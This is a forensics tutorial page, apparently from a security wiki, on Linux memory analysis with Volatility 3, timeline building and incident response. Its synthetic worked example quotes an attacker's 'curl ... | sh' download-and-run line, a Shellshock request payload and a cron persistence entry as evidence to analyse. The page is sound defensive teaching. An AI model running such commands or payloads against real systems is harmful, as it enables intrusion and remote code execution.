== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself admits that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional harmless false positive (for example a legitimate virtualization driver), so investigate each hit. A rootkit that does not hide, but instead uses an ordinary-sounding name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
Then pivot: use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times. Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit] (TSK). You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login: jump to that time.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are &#039;&#039;&#039;ephemeral&#039;&#039;&#039;: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page (the way live triage, memory analysis, disk images and timelines are organized; the process-analysis red flags; the set-UID, persistence and post-exploitation checklists; the Volatility and mounting workflows; and several examples such as the look-alike hidden directories) are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
Changes: the material has been rewritten, condensed and reorganized into a single article; commands were re-checked and modified (and some added); and the SSH, web-log, worked-example and quick-reference sections are new. The original author has not reviewed or endorsed this page. Like the rest of WikiCyber, this page is available under CC BY-SA 4.0.&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=255</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=255"/>
		<updated>2026-10-02T20:11:42Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
